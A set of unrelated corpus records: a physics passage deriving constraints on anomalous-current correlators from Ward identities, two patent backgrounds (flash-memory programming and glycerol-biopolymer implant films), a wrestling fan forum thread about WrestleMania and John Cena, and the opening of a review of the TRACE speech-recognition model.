G_R^{I,J,K}(q_1,q_2)& = \langle \mathcal{O}^I_r(q_1)\mathcal{O}^J_a(q_2)\mathcal{O}^K_a(-q_1-q_2)\rangle,\end{aligned}$$ where coordinate space functions are related to their momentum space cousins by $$f(x_1,..,x_n) = \int d^dq_1..d^dq_n e^{i (q_1\cdot x_1 + .. q_n\cdot x_n)}f(q_1,..,q_n).$$ We further specialize to zero frequency $ra..a$ functions, i.e. we take $q_i=(0,\k_i)$. These (and all other CTP functions) are proportional to the corresponding Euclidean time-ordered functions obtained by variation of the Euclidean generating functional $W_E$ [@Evans:1991ky; @*Evans:1995ug]. Because of this we henceforth neglect the $r$ and $a$ indices. Additionally, since bosonic derivatives of $W_E$ commute, the CTP functions of bosonic fields satisfy $$\begin{aligned}
\label{E:recip}
\langle .. \mathcal{O}^I(\k_1).. \mathcal{O}^J(\k_2) .. \rangle = \langle .. \mathcal{O}^J(\k_2) .. \mathcal{O}^I(\k_1).. \rangle.\end{aligned}$$ The diffeomorphism invariance and anomalous variation of $W_{CTP}$ leads to the Ward identities [@Herzog:2009xv], $$\begin{aligned}
\label{E:Jcons}
\nabla_{\mu} \J^{\mu,A} &= -\frac{1}{24}C^{ABC}\epsilon^{\mu\nu\rho\sigma}F_{\mu\nu}^BF_{\rho\sigma}^C, \\
\label{E:Tcons}
\nabla_{\mu} \T^{\mu\nu} & = F^{\nu\rho,A}\left(\J_{\rho}^A-\frac{C^{ABC}}{6}\epsilon_{\rho}^{\phantom{\rho}\sigma\alpha\beta}A_{\sigma}^BF_{\alpha\beta}^C\right),\end{aligned}$$ where $C^{ABC}$ is the symmetric anomaly coefficient and $\epsilon^{0123}=1$ . and encode local gauge and diffeomorphism covariance. There are additional Ward identities for the Euclidean theory at nonzero temperature due to the global topology of $\mathbb{R}^3\times\mathbb{S}^1$ [@Jensen:2011xb]. Constant $A_0$ and $h_{00}$ may be gauged away at the price of redefining the temperature and chemical potentials. These are shifted as $$\begin{aligned}
\label{E:TmuP}
T' = \frac{T}{\sqrt{-g_{00}}}, \qquad \mu'^{A} = \frac{A_0^A}{\sqrt{-g_{00}}}.\end{aligned}$$ The $\mu^A$ depend on $g_{00}$ because they are defined through the Wilson line of $A^A$ around the time circle.
At small momenta $|\k_i| \lambda\ll 1$, the correlation functions of the current and stress tensor are heavily constrained. The two-point functions with parity-violating terms to $O(k)$ may be parametrized as $$\begin{aligned}
\begin{split}
\label{E:G2pt}
G_R^{iA,jB}(\k) &=-i \epsilon^{ijk}k_k \left(\sigma_1^{AB}-\frac{C^{ABC}A_0^C}{3}\right), \\
G_R^{iA,0j}(\k) & =-i \epsilon^{ijk}k_k \sigma_2^A, \\
G_R^{0i,0j}(\k) & = \alpha_3 \delta^{ij} - i \epsilon^{ijk}k_k \sigma_3,
\end{split}\end{aligned}$$ for some functions $\sigma_m$. By $\sigma_1^{AB}=\sigma_1^{BA}$. The second term in $G_{R}^{iA,jB}$ comes from the Bardeen-Zumino polynomial, which encodes the anomalous dependence of the $\J^{\mu,A}$ on gauge fields [@Bardeen:1984pm]. The three-point functions with parity-violating terms to $O(k)$ are similarly constrained. Demanding that the three-point functions are consistent with we find that they take the form $$\begin{aligned}
\begin{split}
\label{E:G3pt}
G_R^{iA,jB,0C}(\k_1,\k_2) & = {-} i \epsilon^{ijk}((k_1)_k \Sigma^{0,ABC}_{1}{-}(k_2)_k\Sigma_{1}^{0,BAC}) , \\
G_R^{iA,jB,00}(\k_1,\k_2) & ={-} i \epsilon^{ijk}((k_1)_k \Sigma^{00,AB}_{1}{-}(k_2)_k\Sigma_{1}^{00,BA}) , \\
G_R^{iA,0j,0B}(\k_1,\k_2) &={-} i \epsilon^{ijk} ((k_1)_k\Sigma^{0,AB}_{2,1} {+} (k_2)_k \Sigma^{0,AB}_{2,2}), \\
G_R^{iA,0j,00}(\k_1,\k_2) & = {-} i \epsilon^{ijk} ((k_1)_k\Sigma^{00,A}_{2,1} {+} (k_2)_k \Sigma^{00,A}_{2,2}), \\
G_R^{0i,0j,0A}(\k_1,\k_2) & = \alpha_3^{0,A}\delta^{ij} {-} i \epsilon^{ijk}(k_{1}-k_2)_k \Sigma^{0,A}_3, \\
G_R^{0i,0j,00}(\k_1,\k_2) & = \alpha_3^{00}\delta^{ij} {-} i \epsilon^{ijk}(k_1{-}k_2)_k \Sigma^{00}_3.
\end{split}\end{aligned}$$
Imposing fixes half of the $\Sigma$’s. For example, we may compute $i(k_1)_iG_R^{iA,jB,0C}$ directly from or by variation of . Setting the two equal gives $$\begin{aligned}
i (k_1)_i G_R^{iA,jB,0C}(\k_1,\k_2) &=\epsilon^{jkl}(k_1)_k(k_2)_l \Sigma_{1}^{0,ABC} \\
\nonumber
&=\frac{\delta^2\langle \partial_{\mu} \J^{a\mu,A}(\k_1)\rangle}{\delta A_j^B({-}\k_2)\delta A_0^C(\k_1{+}\k_2)} \\
\nonumber
&={-}\frac{1}{24} \frac{\delta^2 C^{ABC}\epsilon^{\mu\nu\rho\sigma}(F^B_{\mu\nu}F^C_{\rho\sigma})(\k_1)}{\delta A_j^B({-}\k_2)\delta A_0^c(\k_1{+}\k_2)}\\
\nonumber & = \epsilon^{jkl}(k_1)_k(k_2)_l \frac{C^{ABC}}{3}.\end{aligned}$$ By applying the same method to any $G_R$ with a $\J^{iA}$ insertion we thereby find $$\begin{aligned}
\label{E:Sigma1}
\Sigma_{1}^{0,ABC} = \frac{C^{ABC}}{3},\,\, \Sigma_{1}^{00,AB} =\Sigma_{2,2}^{0,AB}=\Sigma_{2,2}^{00,A}=0.\end{aligned}$$ Imposing fixes the remaining $\Sigma$’s. For example, $$\begin{aligned}
i(k_2)_jG_R^{iA,0j,0B}(\k_1,\k_2) &= - \epsilon^{ikl}(k_1)_k(k_2)_l \Sigma_{2,1}^{0,AB} \\
\nonumber &= \frac{\delta^2\langle\partial_{\mu} \T^{\mu 0}(\k_2)\rangle}{\delta A_i^A({-}\k_1)\delta A_0^B(\k_1{+}\k_2)} \\
\nonumber & = i (k_1{+}k_2)_k G_R^{kB,iA}({-}\k_1),\end{aligned}$$ which by and gives $$\label{E:Sigma2}
\Sigma_{2,1}^{0,AB}=\sigma_1^{AB}.$$ Applying this method to the other three-point functions in yields the remaining $\Sigma$’s $$\label{E:Sigma3}
\Sigma_{2,1}^{00,A} = 2\sigma_2^A, \,\, \Sigma_3^{0,A} = 2 \sigma_2^A, \,\, \Sigma_3^{00}=4\sigma_3.$$
By the discussion around we may evaluate the two-point functions in a background with constant $A_0^A$ and $g_{00}$. To $O(k)$ we find $$\begin{aligned}
\begin{split}
\label{E:G2ptS}
G_{R,S}^{iA,jB}(\k) &= - i \epsilon^{ijk}k_k\left(\sqrt{-g_{00}}\sigma_1'- \frac{C^{ABC}A_0^C}{3}\right), \\
G_{R,S}^{iA,0j}(\k) & = - i \epsilon^{ijk}k_k \sigma_2'^A, \\
G_{R,S}^{0i,0j}(\k) &= -\frac{\alpha_3'\delta^{ij}}{g_{00}}-i\epsilon^{ijk}k_k\frac{\sigma_3'}{\sqrt{-g_{00}}},
\end{split}\end{aligned}$$ where the prime indicates that a quantity is evaluated at temperature $T'$ and chemical potentials $\mu'^A$ , and the subscript $S$ that the correlator is evaluated in the presence of background fields.
Differentiating with respect to $A_0^A$ and $g_{00}$ leads to three-point functions with zero momentum insertions of $\J^{0,A}$ and $\T^{00}$. Comparing these functions with the three-point functions and using (\[E:Sigma1\]), (\[E:Sigma2\]), and (\[E:Sigma3\]), the two agree only if the six equations $$\begin{aligned}
\label{E:eqsSigma}
\frac{\partial \sigma_1^{AB}}{\partial\mu^C} &= C^{ABC}, \,\,\,\, \frac{\partial\sigma_2^A}{\partial\mu^B} = \sigma_1^{AB}, \,\,\,\,\frac{\partial\sigma_3}{\partial\mu^A}= 2\sigma_2^A, \\
\label{E:eqsE}
E_m & = T \frac{\partial \sigma_m}{\partial T} + \mu^A\frac{\partial \sigma_m}{\partial \mu^A} - m \sigma_m = 0,\end{aligned}$$ are satisfied. These equations uniquely fix the $\sigma_m$ up to integration constants. We have $$\begin{aligned}
\begin{split}
\label{E:sigmas}
\sigma_1^{AB} &= C^{ABC}\mu^C + f_1^{AB}T,\qquad f_1^{AB}=f_1^{BA},\\
\sigma_2^A & = \frac{1}{2}C^{ABC}\mu^B\mu^C + f_1^{AB}\mu^B T + f_2^A T^2, \\
\sigma_3 & = \frac{1}{3}C^{ABC}\mu^A\mu^B\mu^C + f_1^{AB}\mu^A\mu^B T \\ & \phantom{=\,\,}+ 2 f_2^A \mu^A T^2 + f_3 T^3.
\end{split}\end{aligned}$$
We may also consider the behavior of the integration constants $f_m$ under CPT. By a hydrodynamic argument employed in [@Bhattacharya:2011tra], we find that the $f_1^{AB}$ and $f_3$ are CPT-violating, while the $f_2^A$ are CPT-preserving. We can also directly establish this result by studying the transformation of the two-point functions under CPT.
*Hydrodynamics with sources.*—It is instructive to reproduce from hydrodynamics. In this section we begin with equilibria at constant $T$, $\mu^A$, and vanishing sources. We take the fluid rest frame to be $u^{\mu}= v^{\mu}/\sqrt{-v^2}$, with $v^{\mu}$ a constant timelike vector. In these states the stress tensor and current are $$\label{E:TJequil}
\langle T^{\mu\nu}\rangle = \epsilon u^{\mu}u^{\nu}+P\Delta^{\mu\nu}, \qquad \langle J^{\mu,A}\rangle = \rho^A u^{\mu},$$ with $P$ and $\epsilon$ the pressure and energy density, obeying $$dP = s dT + \rho^A d\mu^A, \qquad \epsilon +P = s T + \mu^A \rho^A,$$ and $\Delta^{\mu\nu}=g^{\mu\nu}+u^{\mu}u^{\nu}$ is a projector satisfying $\Delta^{\mu\nu} u_{\nu} = 0, \Delta^2=\Delta$. In hydrodynamics we study long-wavelength fluctuations around equilibrium states. Those fluctuations may be described by promoting $T,$ $\mu^A$, and the $u^{\mu}$ to spacetime fields (the hydrodynamic variables) and expanding the stress tensor and current in gradients thereof – this is the derivative expansion![@Bhattacharyya:2008jc]. We also turn on slowly varying background gauge fields $A^A$ and metric perturbations $g=\eta+h$. We take the sources to be $O(1)$, so that the field strengths $F$ and connection coefficients $\Gamma$ are $O(\partial)$ in the derivative expansion. This is the scaling required to study the response of a fluid to sources.
In more general states we have the decomposition $$\begin{aligned}
\nonumber
\langle T^{\mu\nu}\rangle &= \mathcal{E} u^{\mu} u^{\nu} + \mathcal{P} \Delta^{\mu\nu} + q^{\mu}u^{\nu}+q^{\nu}u^{\mu} + \tau^{\mu\nu}, \\
\label{E:TJdecomp}
\langle J^{\mu,A}\rangle & = \mathcal{N}^Au^{\mu} + \nu^{\mu,A} +\frac{C^{ABC}}{6\sqrt{-g}} \epsilon^{\mu\nu\rho\sigma}A^B_{\nu}F^C_{\rho\sigma},\\
\nonumber \qquad u^{\mu} q_{\mu} &= u^{\mu} \nu^A_{\mu} = u^{\mu}\tau_{\mu\nu} = \Delta^{\mu\nu}\tau_{\mu\nu}=0.\end{aligned}$$ has some redundancy. Fixing $\langle T\rangle$ and $\langle J^A\rangle$, we may redefine the hydrodynamic variables by $O(\partial)$ quantities to impose a choice of hydrodynamic frame. In the rest of this work, we perturb the equilibrium state by sources which are static in the fluid rest frame, supposing that the perturbed fluid remains in a time-independent equilibrium. In such a state the one-point functions and hydrodynamic variables will be local functions of sources – the non-locality is on order of the size of the static screening lengths, which vanish in the hydrodynamic approximation. We then perform a change of frame such that $T$, $\mu^A$, and $v^{\mu}$ take on their form for equilibria with constant background fields, $$\label{E:TmuEquil}
T = \frac{T_{\rm eq}}{\sqrt{-v^2}}, \qquad \mu^A = u^{\mu}A_{\mu}^A,\qquad v^{\mu}=v^{\mu}_{\rm eq},$$ where $T_{\rm eq}$ and $v^{\mu}_{\rm eq}$ are the temperature and velocity field of the source-free equilibrium state. This is the covariant version of .
It remains to express $\mathcal{E}$, $\mathcal{P}$, $\mathcal{N}$, $q^{\mu}$, $\nu^{\mu}$, and $\tau^{\mu\nu}$ in terms of the sources. These are the constitutive relations. To proceed we compute derivatives of $T$, $\mu^A$, and the fluid velocity. We find
\[E:Dx\] $$\begin{aligned}
\partial_{\mu}T &= -T a_{\mu}, &\partial_{\mu}\mu^A &= -\mu^A a_{\mu}+E^A_{\mu}, \\
\nabla_{\mu}u_{\nu}&=-u_{\mu}a_{\nu}+\omega_{\mu\nu},&E^A_{\mu}&=F^A_{\mu\nu}u^{\nu},\end{aligned}$$
are identically satisfied with $$\begin{aligned}
a^{\mu}=u^{\nu}\nabla_{\nu}u^{\mu}, \,\,\,\, \omega^{\mu\nu}=\frac{\Delta^{\mu\rho}\Delta^{\nu\sigma}}{2}(\nabla_{\rho}u_{\sigma}-\nabla_{\sigma}u_{\rho}).\end{aligned}$$ The independent tensors with one derivative are listed in Table \[T:FOtensors\]. The pseudovectors are $\tilde{v}_1^{\mu,A}=B^{\mu,A}$, the magnetic field, and $\tilde{v}_2^{\mu}=w^{\mu}$ the vorticity of the fluid. To $O(\partial)$ we then write $$\begin{aligned}
\begin{split}
\label{E:constitutive}
\mathcal{E} & = \epsilon, \qquad \mathcal{P} = P, \qquad \mathcal{N} = \rho,\qquad \tau^{\mu\nu}=0, \\
q^{\mu} &= \gamma_i v_i^{\mu}+\tilde{\gamma}_i \tilde{v}_i^{\mu}, \qquad \nu^{\mu,A} = \delta^A_i v_i^{\mu} + \tilde{\delta}^A_i \tilde{v}_i^{\mu},
\end{split}\end{aligned}$$ where the $\gamma$’s, $\tilde{\gamma}$’s, $\delta$’s, and $\tilde{\delta}$’s are functions of $T$ and $\mu^A$.
$1$ $2$
------------------------------------- -------------------------------------------------------------------------- ----------------------------------------------------------------------------------
vectors $(v_i^{\mu})$ $E^A_{\mu}$ $a_{\mu}$
psuedovectors $(\tilde{v}_i^{\mu})$ $\frac{1}{2\sqrt{-g}}\epsilon^{\mu\nu\rho\sigma}u_{\nu}F^A_{\rho\sigma}$ $\frac{1}{\sqrt{-g}}\epsilon^{\mu\nu\rho\sigma}u_{\nu}\partial_{\rho}u_{\sigma}$
: \[T:FOtensors\]The independent first-order tensors.
We continue by treating the Ward identities and as equations of motion. Ordinarily, we solve for the hydrodynamic variables in the presence of external fields. In this instance, the conservation equations leads to differential equations for the coefficients in the constitutive relations. We note that the gradients of the first-order tensors satisfy some simple relations $$\begin{aligned}
\begin{split}
\label{E:useful}
\nabla_{\mu}a^{\mu} & = u^{\mu}u^{\nu}R_{\mu\nu} + \omega^{\mu\nu}\omega_{\nu\mu}, \\
u^{\nu}\nabla_{\nu}a^{\mu}& = u^{\mu}a^2-\omega^{\mu\nu}a_{\nu}, \\
u^{\nu}\nabla_{\nu}E^{\mu,A}&=u^{\mu}a^{\nu}E^A_{\nu}-\omega^{\mu\nu}E^A_{\nu}, \\
\nabla_{\mu}B^{\mu,A} & = B^{A}_{\mu}a^{\mu}-E^A_{\mu}w^{\mu}, \\
u^{\nu}\nabla_{\nu}B^{\mu,A} &= u^{\mu}B^A_{\nu}a^{\nu}-\omega^{\mu\nu}B^A_{\nu},\\
\nabla_{\mu}w^{\mu} &= 2 a_{\mu}w^{\mu}, \qquad u^{\nu}\nabla_{\nu}w^{\mu} = u^{\mu}a_{\nu}w^{\nu}, \\
\epsilon^{\mu\nu\rho\sigma}u_{\nu}B_{\rho}^Aw_{\sigma}&=2\omega^{\mu\nu}B_{\nu}^A, \,\,\,\, \epsilon^{\mu\nu\rho\sigma}u_{\nu}w_{\rho}\omega_{\sigma\tau}=0,
\end{split}\end{aligned}$$ where $R_{\mu\nu}$ is the Ricci tensor. Applying and to the conservation equations leads to a sum of coefficients, each of which multiplies an independent second-order tensor. Each such coefficient must vanish, which leads to a number of equations, $$\begin{aligned}
\begin{split}
\label{E:consEqns}
\gamma_1^A=\gamma_2=\delta_1^{AB}=\delta_2^A &= 0, \\
\frac{\partial\tilde{\delta}_1^{AB}}{\partial\mu^C}-C^{ABC}=\frac{\partial\tilde{\delta}_2^A}{\partial\mu^B}-\tilde{\delta}_1^{AB}&=0, \\
\frac{\partial\tilde{\gamma}_1^A}{\partial\mu^B}-\tilde{\delta}_1^{AB}=\frac{\partial\tilde{\gamma}_2}{\partial\mu^A}-\tilde{\delta}_2^{A}-\tilde{\gamma}_1^A&=0, \\
T\frac{\partial\tilde{\delta}^{AB}_1}{\partial T}+\mu^C\frac{\partial\tilde{\delta}_1^{AB}}{\partial\mu^C}-\tilde{\delta}_1^{AB}&=0, \\
T\frac{\partial\tilde{\delta}^{A}_2}{\partial T}+\mu^B\frac{\partial\tilde{\delta}_2^{A}}{\partial\mu^B}-2\tilde{\delta}_2^{A}&=0, \\
T\frac{\partial\tilde{\gamma}^{A}_1}{\partial T}+\mu^B\frac{\partial\tilde{\gamma}_1^{A}}{\partial\mu^B}-2\tilde{\gamma}_1^{A}&=0, \\
T\frac{\partial\tilde{\gamma}_2}{\partial T}+\mu^A\frac{\partial\tilde{\gamma}_2}{\partial\mu^A}-3\tilde{\gamma}_2&=0.
\end{split}\end{aligned}$$ When holds, the Ward identities and are exactly solved for the first-order constitutive relations .
We compute the $ra..a$ functions by varying one-point functions (which we view as expectation values of $r$ operators) with respect to external fields [@Moore:2010bu] (which we view as $a$-type sources). Those variations are easy to perform in this frame. We obtain zero-frequency $n$-point fuctions by directly varying and . For instance, we find the following two-point functions to $O(k)$, $$\begin{aligned}
\begin{split}
G_R^{iA,jB}(\k) &= -i \epsilon^{ijk}k_k \tilde{\delta}_1^{AB}, \\
G_R^{iA,0j}(\k) &= -i \epsilon^{ijk}k_k \tilde{\delta}_2^A,\\
G_R^{0i,jA}(\k) &= - i \epsilon^{ijk}k_k \tilde{\gamma}_1^A, \\
G_R^{0i,0j}(\k) &= P\delta^{ij}- i \epsilon^{ijk}k_k \tilde{\gamma}_2.
\end{split}\end{aligned}$$ By we then have $\delta_2^A=\gamma_1^A$. Matching to then gives $$\sigma_1^{AB}=\tilde{\delta}_1^{AB}, \qquad \sigma_2^A = \tilde{\delta}_2^A, \qquad \sigma_3 = \tilde{\gamma}_2,$$ so that the constraints precisely reproduce those and for the $\sigma$’s.
*Discussion.*—In this letter we have used Ward identities to constrain zero-frequency correlation functions. For a $3+1$-dimensional theory with $U(1)^3$ anomalies, the $O(k)$ parts of three-point functions of the stress tensor and currents are determined by conservation in terms of the anomaly coefficients and $O(k)$ parts of two-point functions. leads to differential equations that relate two-point functions to three-point functions. As a result the $O(k)$ terms in two and three-point functions of $\T$ and $\J$ are uniquely fixed up to integration constants. The result matches the hydrodynamic [@Son:2009tf; @Neiman:2010zi] and holographic [@Amado:2011zx] calculation up to additional CPT-violating integration constants $f_1^{AB}$ .
Zero-frequency correlation functions encode the thermodynamic response of a fluid. In this instance, a fluid may be subjected to a magnetic field $B^{\mu}$ or vorticity $w^{\mu}$ and remain in equilibrium. When parity is not a symmetry, there may be charge and momentum currents directed along $B^{\mu}$ and $w^{\mu}$. This calculation is telling us that the $O(B)$ and $O(w)$ response of those currents is fixed by a consistent description of thermodynamics in the presence of background fields.
One significant question remains: what is the role of the CPT-preserving integration constant $f_2^A$ ? At weak [@Landsteiner:2011cp] and strong [@Landsteiner:2011iq] coupling, it has been found to be proportional to the mixed anomaly coefficient. Is that result fixed by Ward identities? The hydrodynamic calculation sheds some light on this question. By exactly solving the conservation equations to $O(\partial^2)$ and imposing at the outset, we have implicitly enforced the Ward identities for gauge/diffeomorphism invariance on the $O(k)$ parts of all zero-frequency $n$-point functions of $\T$ and $\J$. At the end of the day, $f_2^A$ is left unfixed by the zero-frequency conditions and . Three logical possibilities remain: (i.) $f_2^A$ is fixed by another zero-frequency condition, (ii.) $f_2^A$ is fixed by a finite-frequency property like the Onsager relations, or (iii.) $f_2^A$ is unfixed.
*Acknowledgments.*—It is a pleasure to thank M. Kaminski, Z. Komargodski, P. Kovtun, K. Landsteiner, R. Meyer, A. Ritz, D. Son, and especially A. Yarom for stimulating discussions. This work was initiated at the Perimeter Institute for Theoretical Physics and was supported in part by NSERC, Canada.
|
{
"pile_set_name": "ArXiv"
}
|
1. Field of the Invention
The invention relates to a data programming method, and more particularly to a data programming method for reducing the time it takes for programming.
2. Description of the Related Art
FIG. 1 is a diagram of a conventional memory structure. A non-volatile memory, such as a flash memory, comprises at least one memory unit 100, and the memory unit 100 comprises 1024 memory blocks Block0-Block1023. Each memory block comprises 64 pages, and each page comprises four sectors. As shown in FIG. 1, the memory block BlockM comprises 64 pages Page0-Page63, and the page PageN comprises four sectors Sector0-Sector3, wherein M is a positive integer from 0 to 1023, and N is a positive integer from 0 to 63. Each sector has 512-byte storage space, and one page is a unit for data programming.
It is assumed that a conventional memory unit desires to program two data in the same page. The memory unit first receives first data to be programmed into the page Page0 of the memory block BlockM. If the page Page0 is empty, the memory unit programs the first data into the page Page0. After, when the memory unit receives second data to be programmed into the page Page0, the data of the other pages (such as Page1-Page63) are backed up into volatile memory (not shown in FIG. 1) or other memory blocks, and then the entire memory block BlockM is erased. Finally, the second data is programmed into the page Page0 of the memory block BlockM, and the un-changed data is programmed back into the memory block BlockM from the volatile memory (not shown in FIG. 1) or the other memory blocks. Since the time period taken by the memory unit to erase data is longest and next longest time period taken is the time period taken by the memory unit to program data, the time it takes for erasing data from the pages and programming data into pages can be decreased for shortening the time period for data programming.
|
{
"pile_set_name": "USPTO Backgrounds"
}
|
neo, I know you love to shit on current WWE, but you need to see the Punk-Taker match somehow.
Thanks, I was planning on seeking it out. There are several guys in WWE that I enjoy but I can't abide trudging through the hours of sludge that they spew out every week in the hopes that maybe, just maybe, I'll find a few minutes worth of a golden nugget. It's not so much that I love to belittle WWE but when I see so many people continuing to scoop up what is a definitively inferior product I can't not occasionally speak out. Also, before anyone tries to throw out a TNA and/or ROH fanboy claim, saying it is a "definitively inferior product" can just as easily be applied when comparing it to WWE's own past as it can to other promotions.
I just do not understand it. Cena is pretty much this generations Hogan. Even Hogan knew his act was getting stale, predictable, and that people were growing tired of it. Cena knows this as well as he has joked about it numerous times. The BIGGEST revitalization of Hogans career was his heel turn and it paid dividends. People that had grown tired of his crappy hero persona became fans, and even those who loved his hero persona were closet fans of the bad Hogan.
Why can't anyone realize this is what NEEDS to be done with Cena at this point and time? A love fest between Rock and him is not going to make people root for him and like him. I know it would be hard as hell to do all this make a wish stuff with him as a heel, but seriously...
I already posted this story before in an older CAG wrestling thread, but I'll post it again.
Went to a Raw/SD supershow about 2 years ago. There was this lady and her 2 kids (decked entirely in Cena gear, the headbands, wristbands, shirts, etc) sitting in front of us. About 45 min into the show and Cena comes out for his match and wins. The mom and her kids immediately get up afterwards and starts leaving. Me and my friends tell her theres still an hour left plus another show right after but she said its alright cause her kids just wanted to see Cena...
And thats why Cena will certainly never turn heel. We as fans keep hanging onto the hope that he will eventually turn but WWE is too afraid of losing their cash cow & media darling.
That's a good summation. WWE doesn't give a crap about storylines as long as merchandise sales and the other various revenue streams keep going strong. They're a publicly traded company and anything that doesn't show immediate and consistent profit is shown the door. If your primary interest in this business is as a wrestling fan then WWE just isn't where you want to be right now.
-Place was packed, people basically parked watching WM and not buying anything else. Servers were pissed, and there were tons of people waiting for tables that weren't going to open. Lucked out and grabbed a spot at the far bar, basically in the kitchen.
-Got there late, basically in time to just see the three big matches. Punk/Taker by far had the most people enthralled.
-The crowd was a good illustration of that the IWC forgets...most everyone wearing either Rock or Cena gear, some with plastic championship belts. One person was wearing a Daniel Bryan shirt.
-Then there was me with my Ziggler shirt. #Heel
-Also on that note, no one even noticed that Rhodes Scholars match was cut. I did.
-Either way, RAW should be fucking amazing tomorrow. I would fucking hope and pray so.
#1001
KaneRobot
The Profit$ of Doom
CAGiversary! 10469 Posts Joined 14.3 Years Ago
Please tell me I wasnt the only one who was hoping Cena would rush into the ring and beat up the Rock after the match.
They've been doing a decent job of messing with people a bit regarding a Cena turn. The promo last week, and the (admittedly mild) expectation that he was going to smack Rocky with the belt after he turned around. Still don't think it'll happen for a long time, but at least this isn't flat-out annoying like the Nexus storyline where everything was perfectly set up for him to turn, and they didn't do it.
Not a great show. The Undertaker thing is starting to become a real problem since they rarely put him on last...the crowd is always out of gas after whatever match he's in. That was a fairly fun match but didn't get the same reaction where I was that the matches the last few years did (ie even the non-fans watching with me were yelling at every near-fall by the end).
HHH-Lesnar was quite literally where nearly half the people passed out on the couches. Alcohol probably had something to do with that, but good god was that long.
Rock-Cena just seemed sloppy. The final few minutes put an Undertaker match to shame with all the finishes/teased finishes. Nice touch with doing the ending sequence from last year, having Cena counter it, and then having Rock kick out. Thought for sure that was going to be the end.
Don't know if they were trying to make a point about how "serious" that match was or what, but when Cena came out with no big presentation, and then The Rock did the same, I assumed that they were just short on time (even with cutting the mixed tag match).
Orton and Sheamus being total afterthoughts on the card (not to mention losing) makes me happy.
EDIT - I saw on the Observer site that "It's very cold and that's hurting crowd reactions a lot" as well as "Based on e-mails from people in the arena, the explanation for the weak crowd reactions is so many of the seats had obstructed views." So...there's that.
Wrestlemania was about a 5/10 to me. The main event was just awful, I absolutely hate reversal/finisher fests and that was one of the worst I've ever seen. I mean I know it's Wrestlemania but holy lord was that awful. So many talented midcarders got the shaft AGAIN and couldn't even get on the card.....or even the fucking preshow. People like Cesaro and Rhodes not even being allowed 5 seconds of camera time makes me want to puke.
Punk/Taker was one of the only highlights of the night for me. Not Taker's best Wrestlemania match but it was still up there pretty high. If Punk does take time off now this current weekly product will be unwatchable trash (it was barely watchable with him). I will also say the opening match was pretty good, I'm surprised they haven't "Cesaro'd" the Shield yet, nice to see them still come off strong.
In closing, thank God I decided to obtain the show for free and just watch Game of Thrones and Mad Men instead.
#1015
JJSP
Not Broke, Just Bent
CAGiversary! 10011 Posts Joined 11.4 Years Ago
If rumors are to be believed, Rock is a no-show at Raw tonight. He's believed to have flown home immediately after the show last night despite being booked for a major angle to set up next year's Wrestlemania.
By providing links to other sites, CheapAssGamer.com does not guarantee, approve or endorse the information or products available at these sites, nor does a link indicate any association with or endorsement by the linked site to CheapAssGamer.com. CheapAssGamer.com is owned and operated by CAG Productions, LLC.
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{
"pile_set_name": "Pile-CC"
}
|
Technical Field
The present disclosure relates to implantable medical devices, and more particularly, to implantable medical devices including at least one polymeric film layer made from a mixture of glycerol and a biopolymer.
Background of Related Art
A variety of medical conditions may be treated, at least in part, by implanting a medical device into the body of an afflicted patient. Medical devices may be implanted into the body temporarily or left in the body for extended periods of time, even indefinitely. For example, a surgical mesh may be made from non-biodegradable materials and may be implanted into the abdomen of a patient to repair any type of hernia. The mesh may be either placed over the defect (anterior repair) or under the defect (posterior repair).
In another example, an implantable film made from a bioabsorbable material may be combined with another medical device for delivery of a therapeutic agent. However, these films may include any number of optional ingredients. For instance, viscosity enhancers, emulsifiers, pH modifiers and the like may be added as optional ingredients to the films to enhance the durability of the device and/or alter the delivery characteristics of a therapeutic agent. Typically, optional ingredients represent up to about 10% by weight of the device. In many instances, higher concentrations of optional ingredients may provide detrimental effects to the films overall characteristics. For instance, the addition of a plasticizer in concentrations higher than about 10% often make the film too flexible to be useful as an implantable film.
It would be beneficial to provide an implantable film, alone or in combination with a medical device, capable of providing immediate or sustained release of a therapeutic agent following implantation without compromising the overall characteristics of the films.
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{
"pile_set_name": "USPTO Backgrounds"
}
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1. Introduction {#s1}
===============
There is a computational model of spoken word recognition whose explanatory power goes far beyond that of all known alternatives, accounting for a wide variety of data from long-used button-press tasks like lexical decision (McClelland and Elman, [@B42]) as well as fine-grained timecourse data from the visual world paradigm (Allopenna et al., [@B1]; Dahan et al., [@B11],[@B12]; see Strauss et al., [@B61], for a review). This is particularly surprising given that we are not talking about a recent model. Indeed, the model we are talking about---the TRACE model (McClelland and Elman, [@B42])---was developed nearly 30 years ago, but successfully simulates a broad range of fine-grained phenomena observed using experimental techniques that only began to be used to study spoken word recognition more than a decade after the model was introduced.
TRACE is an interactive activation (IA) connectionist model. The essence of IA is to construe word recognition as a hierarchical competition process taking place over time, where excitatory connections between levels and inhibitory connections within levels result in a self-organizing resonance process where the system fluxes between dominance by one unit or another (as a function of bottom--up and top--down support) over time at each level. The levels in TRACE begin with a pseudo-spectral representation of acoustic-phonetic features. These feed forward to a phoneme level, which in turn feeds forward to a word level. The model is interactive in that higher levels send feedback to lower levels (though in standard parameter settings, only feedback from words to phonemes is non-zero). Figure [1](#F1){ref-type="fig"} provides a conceptual schematic of these basic layers and connectivities, although the implementational details are much more complex.
{#F1}
The details are more complex because of the way the model tackles the extremely difficult problem of recognizing series of phonemes or words that unfold over time, at a sub-phonemic grain. The solution implemented in TRACE is to take the conceptual network of Figure [1](#F1){ref-type="fig"} and reduplicate every feature, phoneme, and word at successive timesteps. Time steps are meant to approximate 10 ms, and feature units are duplicated at every slice, while phonemes and words are duplicated every third slice. Thus, the phoneme layer can be visualized as a matrix with one row per phoneme and one column per time slice (i.e., a phonemes × slices matrix). However, units also have temporal extent---features for a given phoneme input extend over 11 time slices, ramping on and off in intensity. The same scheme is used at the lexical level, which can be visualized as a words × time slices matrix. Word lengths are not the simple product of constituent phoneme durations because phoneme centers are spaced six slices apart. This also gives TRACE a coarse analog to coarticulation; the features for successive phonemes overlap in time (but this is a weak analog, since feature patterns simply overlap and sometimes sum; but real coarticulation actually changes the realization of nearby and sometimes distant articulatory gestures). Each feature unit has forward connections to all phoneme units containing that feature that are aligned with it in time. Each phoneme unit has a forward connection to and a feedback connection from each word unit that "expects" that phoneme at that temporal location (so a /d/ unit at slice *s* has connections to /d/-initial words aligned near \[at or just before or after\] slice *s*, /d/-final words whose offsets are aligned at or adjacent to *s*, etc.). This more complex structure is shown in Figure [2](#F2){ref-type="fig"}.
![**The detailed structure of the TRACE model of spoken word recognition (adapted from McClelland and Elman, [@B42])**.](fpsyg-04-00563-g0002){#F2}
